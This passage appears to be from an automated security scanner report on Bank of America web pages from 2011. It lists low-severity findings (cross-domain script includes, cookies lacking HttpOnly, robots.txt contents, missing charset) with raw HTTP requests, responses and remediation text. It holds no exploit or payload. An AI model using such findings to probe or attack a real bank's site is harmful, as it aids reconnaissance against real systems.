width="12" height="1" src="http://partners.leadfusion.com/tools/admincenter/images/spacer.gif"></span> ...[SNIP]... <span class="fc_paragraph_font" ><a id="glossaryanchor_tradeinvalue" tabindex="0" class="glossaryLink fieldLink" href="http://partners.leadfusion.com/tools/bofalc/gloss.fcs;jsessionid=bca4UsBnNkrVjbHfx12ht?LF_CssImgPath=http%3A%2F%2Fwww.bankofamerica.com%2Fcalculators%2Fleadfusion¶m=pGB*sHdbpn0NlXZxpWlZr1pxrXl1Z21DrEBxr2sNpmJvllc2onhEs21ycjEBcTUAcjw2onhEs21yczFWh0pWh0o@" target="_blank" title="View Glossary Term: 'Value of your trade-in*' in a new browser window." onclick="launchWinNoBrowserControlsSizeable('http://partners.leadfusion.com/tools/bofalc/gloss.fcs;jsessionid=bca4UsBnNkrVjbHfx12ht?LF_CssImgPath=http%3A%2F%2Fwww.bankofamerica.com%2Fcalculators%2Fleadfusion¶m=pGB*sHdbpn0NlXZxpWlZr1pxrXl1Z21DrEBxr2sNpmJvllc2onhEs21ycjEBcTUAcjw2onhEs21yczFWh0pWh0o@',400,650,'yes','yes'); return false;"><img alt="View Glossary Term: 'Value of your trade-in*' in a new browser window." border="0" src="http://partners.leadfusion.com/tools/ImageServlet;jsessionid=bca4UsBnNkrVjbHfx12ht?param=qmFxpGlkunR1fmpCrGFUgyp5rmV3pk1UfmkBdTYDo2oHeWgJcjt2cDsKcmlyeTd0dj4BcjUFpzdxcDUJcT49c2oDoj52p2p2p2pxoD4BpT5yezd0eyp5sGNcomJ3fml_nFljZ3d5tWlZhTE2sG95r010fipzrGJEpnxEimgNZ21DkXZ1t211tDF2omBDpg@@"></a> ...[SNIP]... <span class="fc_paragraph_font" ><img alt="" width="12" height="1" src="http://partners.leadfusion.com/tools/admincenter/images/spacer.gif"></span> ...[SNIP]... <span class="fc_paragraph_font" ><a id="glossaryanchor_cashrebate" tabindex="0" class="glossaryLink fieldLink" href="http://partners.leadfusion.com/tools/bofalc/gloss.fcs;jsessionid=bca4UsBnNkrVjbHfx12ht?LF_CssImgPath=http%3A%2F%2Fwww.bankofamerica.com%2Fcalculators%2Fleadfusion¶m=pGB*sHdbpn0NgGVDqVZ1o2VEpip5sGNcomJ3fml_nFljZ2VEtXZ5ozUNcjQBcTUIZ2VEtXZ5ozYNh0pWh0pW" target="_blank" title="View Glossary Term: 'Cash rebate*' in a new browser window." onclick="launchWinNoBrowserControlsSizeable('http://partners.leadfusion.com/tools/bofalc/gloss.fcs;jsessionid=bca4UsBnNkrVjbHfx12ht?LF_CssImgPath=http%3A%2F%2Fwww.bankofamerica.com%2Fcalculators%2Fleadfusion¶m=pGB*sHdbpn0NgGVDqVZ1o2VEpip5sGNcomJ3fml_nFljZ2VEtXZ5ozUNcjQBcTUIZ2VEtXZ5ozYNh0pWh0pW',400,650,'yes','yes'); return false;"><img alt="View Glossary Term: 'Cash rebate*' in a new browser window." border="0" src="http://partners.leadfusion.com/tools/ImageServlet;jsessionid=bca4UsBnNkrVjbHfx12ht?param=qmFxpGlkunR1fmpCrGFUgyp5rmV3pk1UfmkBdTYDo2oHeWgJcjt2cDsKcmlyeTd0dj4BcjUFpzdxcDUJcT49c2oDoj52p2p2p2pxoD4BpT5yezd0eyp5sGNcomJ3fml_nFljZ3d5tWlZhTE2sG95r010fipzrGJEpnxEimgNZ21DkXZ1t211tDF2omBDpg@@"></a> ...[SNIP]... <span class="fc_paragraph_font" ><img alt="" width="12" height="1" src="http://partners.leadfusion.com/tools/admincenter/images/spacer.gif"></span> ...[SNIP]...
6. Cross-domain script includepreviousnext There are 6 instances of this issue:
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
GET /index.cfm?page=corp HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:26:46 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Page-Completion-Status: Normal Connection: close
<tr valign="top">
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <h ...[SNIP]... <br />
GET /merchantservices/index.cfm HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved permanently Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:38:40 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Location: http://corp.bankofamerica.com/public/public.portal?_pd_page_label=merchant/index/default&cm_mmc=General-_-vanity-_-ZZ01VN004H_merchant-_-NA Page-Completion-Status: Normal Set-Cookie: RECONNECT=0; path=/; domain=.bankofamerica.com; secure Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN ...[SNIP]... </script> <script language="JavaScript" type="text/javascript" src="http://sec1.liveperson.net/hcp/html/DynamicButtonScript2.js"></script> ...[SNIP]... </script> <script language="javascript" type="text/javascript" src="http://sec1.liveperson.net/hc/LPBofA1/x.js?cmd=file&file=chatScript3&site=LPBofA1"></script> ...[SNIP]...
HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:19:04 GMT Content-type: text/html X-FRAME-OPTIONS: SAMEORIGIN P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Page-Completion-Status: Normal Set-Cookie: BOA_ADVISOR=OLB%3A2%3BSAV%3A2; expires=Sun, 27-Sep-2037 00:00:00 GMT; path=/; domain=.bankofamerica.com; Set-Cookie: CONTEXT=en; expires=Sun, 27-Sep-2037 00:00:00 GMT; path=/; domain=.bankofamerica.com; Content-Length: 72797
GET /onlinebanking/index.cfm HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:26:58 GMT Content-type: text/html X-FRAME-OPTIONS: SAMEORIGIN P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Page-Completion-Status: Normal Set-Cookie: BOA_ADVISOR=OLB%3A2%3BSAV%3A2; expires=Sun, 27-Sep-2037 00:00:00 GMT; path=/; domain=.bankofamerica.com; Set-Cookie: CONTEXT=en; expires=Sun, 27-Sep-2037 00:00:00 GMT; path=/; domain=.bankofamerica.com; Connection: close Set-Cookie: BIGipServerngen-www.80=1707521707.20480.0000; path=/
GET /smallbusiness/checking/ HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved permanently Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:38:10 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Location: http://www.bankofamerica.com/small_business/business_checking/ Page-Completion-Status: Normal Set-Cookie: BOACOOKIE=1%2E000+%7C+0+%7C+0+%7C+0009A9C9%2D20E6%2D1E53%2D800083E088CF0000+%7C+3+%7C++%7C+suppliers%5E%7Bts%272011%2D08%2D2303%3A39%3A18%27%7D%26SmallBusiness%5E%7Bts%272011%2D08%2D2313%3A38%3A09%27%7D%26creditcards%5E%7Bts%272011%2D08%2D2313%3A29%3A13%27%7D%26loans%2Dlines%2Dleasing%5E%7Bts%272011%2D08%2D2313%3A29%3A16%27%7D+%7C+SmallBusiness%26creditcards%26loans%2Dlines%2Dleasing%26SmallBusiness+%7C+SmallBusiness+%7C++%7C+; expires=Sun, 27-Sep-2037 00:00:00 GMT; path=/; Connection: close
GET /smallbusiness/loans-lines-leasing/ HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved permanently Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:38:15 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Location: http://www.bankofamerica.com/small_business/business_financing/index.cfm?template=loans_lines_of_credit_leasing Page-Completion-Status: Normal Set-Cookie: BOACOOKIE=1%2E000+%7C+0+%7C+0+%7C+0009A9C9%2D20E6%2D1E53%2D800083E088CF0000+%7C+6+%7C++%7C+suppliers%5E%7Bts%272011%2D08%2D2303%3A39%3A18%27%7D%26SmallBusiness%5E%7Bts%272011%2D08%2D2313%3A38%3A09%27%7D%26creditcards%5E%7Bts%272011%2D08%2D2313%3A38%3A13%27%7D%26loans%2Dlines%2Dleasing%5E%7Bts%272011%2D08%2D2313%3A38%3A14%27%7D+%7C+creditcards%26loans%2Dlines%2Dleasing+%7C+creditcards+%7C++%7C+; expires=Sun, 27-Sep-2037 00:00:00 GMT; path=/; Connection: close
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /adtrack/index.cgi?adlink=000309029q890000g161 HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:28:16 GMT Content-length: 0 P3p: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-cookie: TRACKING_CODE=000309029q890000g161; path=/; expires=Sunday, 19-Feb-2012 23:59:59 GMT Set-cookie: PROMO=000309029q890000g161; path=/; Location: https://www.bankofamerica.com/ProcessUser.do?section=onlinebanking_enroll&adlink=000309029q890000g161 Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /onlinebanking/?adlink=0003020520000000a584 HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:27:10 GMT Content-type: text/html X-FRAME-OPTIONS: SAMEORIGIN P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Page-Completion-Status: Normal Set-Cookie: BOA_ADVISOR=OLB%3A2%3BSAV%3A2; expires=Sun, 27-Sep-2037 00:00:00 GMT; path=/; domain=.bankofamerica.com; Set-Cookie: BOFAPROMOENTRY=0003020520000000a584; expires=Thu, 22-Sep-2011 13:27:10 GMT; path=/; domain=.bankofamerica.com; Set-Cookie: CONTEXT=en; expires=Sun, 27-Sep-2037 00:00:00 GMT; path=/; domain=.bankofamerica.com; Set-Cookie: PROMO=0003020520000000a584; expires=Thu, 22-Sep-2011 13:27:10 GMT; path=/; Set-Cookie: TRACKING_CODE=0003020520000000a584; expires=Thu, 22-Sep-2011 13:27:10 GMT; path=/; Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /onlinebanking/index.cfm HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:26:58 GMT Content-type: text/html X-FRAME-OPTIONS: SAMEORIGIN P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Page-Completion-Status: Normal Set-Cookie: BOA_ADVISOR=OLB%3A2%3BSAV%3A2; expires=Sun, 27-Sep-2037 00:00:00 GMT; path=/; domain=.bankofamerica.com; Set-Cookie: CONTEXT=en; expires=Sun, 27-Sep-2037 00:00:00 GMT; path=/; domain=.bankofamerica.com; Connection: close Set-Cookie: BIGipServerngen-www.80=1707521707.20480.0000; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /onlinebanking/tour/flash/index_flash.cfm HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:27:49 GMT Content-type: text/html X-FRAME-OPTIONS: SAMEORIGIN P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Location: http://infocenter.bankofamerica.com/ Page-Completion-Status: Normal Set-Cookie: PROMO=undefined; expires=Sun, 24-Jul-2011 13:27:49 GMT; path=/; Set-Cookie: TRACKING_CODE=undefined; expires=Sun, 24-Jul-2011 13:27:49 GMT; path=/; Connection: close
<!-- i2a business unit tracking code --> <script LANGUAGE="JavaScript"> var ic_bu = "online+banking"; </script> <!-- i2a business unit tracking code -->
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /smallbusiness/checking/ HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved permanently Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:38:10 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Location: http://www.bankofamerica.com/small_business/business_checking/ Page-Completion-Status: Normal Set-Cookie: BOACOOKIE=1%2E000+%7C+0+%7C+0+%7C+0009A9C9%2D20E6%2D1E53%2D800083E088CF0000+%7C+3+%7C++%7C+suppliers%5E%7Bts%272011%2D08%2D2303%3A39%3A18%27%7D%26SmallBusiness%5E%7Bts%272011%2D08%2D2313%3A38%3A09%27%7D%26creditcards%5E%7Bts%272011%2D08%2D2313%3A29%3A13%27%7D%26loans%2Dlines%2Dleasing%5E%7Bts%272011%2D08%2D2313%3A29%3A16%27%7D+%7C+SmallBusiness%26creditcards%26loans%2Dlines%2Dleasing%26SmallBusiness+%7C+SmallBusiness+%7C++%7C+; expires=Sun, 27-Sep-2037 00:00:00 GMT; path=/; Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /smallbusiness/creditcards/ HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved permanently Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:38:12 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Location: http://www.bankofamerica.com/small_business/business_credit_cards/ X-FRAME-OPTIONS: SAMEORIGIN Page-Completion-Status: Normal Set-Cookie: BOACOOKIE=1%2E000+%7C+0+%7C+0+%7C+0009A9C9%2D20E6%2D1E53%2D800083E088CF0000+%7C+4+%7C++%7C+suppliers%5E%7Bts%272011%2D08%2D2303%3A39%3A18%27%7D%26SmallBusiness%5E%7Bts%272011%2D08%2D2313%3A38%3A09%27%7D%26creditcards%5E%7Bts%272011%2D08%2D2313%3A38%3A12%27%7D%26loans%2Dlines%2Dleasing%5E%7Bts%272011%2D08%2D2313%3A29%3A16%27%7D+%7C+creditcards+%7C+SmallBusiness%26creditcards%26loans%2Dlines%2Dleasing%26SmallBusiness+%7C++%7C+; expires=Sun, 27-Sep-2037 00:00:00 GMT; path=/; Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /smallbusiness/loans-lines-leasing/ HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved permanently Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:38:15 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Location: http://www.bankofamerica.com/small_business/business_financing/index.cfm?template=loans_lines_of_credit_leasing Page-Completion-Status: Normal Set-Cookie: BOACOOKIE=1%2E000+%7C+0+%7C+0+%7C+0009A9C9%2D20E6%2D1E53%2D800083E088CF0000+%7C+6+%7C++%7C+suppliers%5E%7Bts%272011%2D08%2D2303%3A39%3A18%27%7D%26SmallBusiness%5E%7Bts%272011%2D08%2D2313%3A38%3A09%27%7D%26creditcards%5E%7Bts%272011%2D08%2D2313%3A38%3A13%27%7D%26loans%2Dlines%2Dleasing%5E%7Bts%272011%2D08%2D2313%3A38%3A14%27%7D+%7C+creditcards%26loans%2Dlines%2Dleasing+%7C+creditcards+%7C++%7C+; expires=Sun, 27-Sep-2037 00:00:00 GMT; path=/; Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /smallbusiness/savings-cds/ HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:38:20 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Page-Completion-Status: Normal Set-Cookie: BOACOOKIE=1%2E000+%7C+0+%7C+0+%7C+0009A9C9%2D20E6%2D1E53%2D800083E088CF0000+%7C+3+%7C++%7C+suppliers%5E%7Bts%272011%2D08%2D2303%3A39%3A18%27%7D%26SmallBusiness%5E%7Bts%272011%2D08%2D2313%3A37%3A59%27%7D%26creditcards%5E%7Bts%272011%2D08%2D2313%3A29%3A13%27%7D%26loans%2Dlines%2Dleasing%5E%7Bts%272011%2D08%2D2313%3A29%3A16%27%7D+%7C+SmallBusiness%26creditcards%26loans%2Dlines%2Dleasing%26SmallBusiness+%7C+SmallBusiness+%7C++%7C+; expires=Sun, 27-Sep-2037 00:00:00 GMT; path=/; Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
cookiecheck=enabled; path=/;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /state.cgi?section=generic&context=&update=yes&url=deposits/checksave/index.cfm?template=cds_and_savings_accounts HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:25:40 GMT Content-length: 0 P3p: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-cookie: cookiecheck=enabled; path=/; Location: http://www.bankofamerica.com/state.cgi?section=generic&update=yes&cookiecheck=yes&context=&url=deposits/checksave/index.cfm?template=cds_and_savings_accounts Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
// Configurable throttle values. var throttle_percent_ngen = 100; var throttle_percent_olb = 100; var throttle_counter_active = false; var throttle_counter_percent = 0;
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.
The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.
Issue remediation
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.
Request
GET /robots.txt HTTP/1.0 Host: www.bankofamerica.com
Response
HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:18:16 GMT Content-length: 1298 Content-type: text/plain Last-modified: Sat, 02 Apr 2011 02:24:12 GMT Accept-ranges: bytes Connection: close
User-agent: * # applies to all robots Disallow: /global # disallow indexing of restricted areas Disallow: /cfdocs Disallow: /thirdparty Disallow: /directbenefits Disallow: /groupbanking
...[SNIP]...
9. HTML does not specify charsetpreviousnext There are 3 instances of this issue:
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
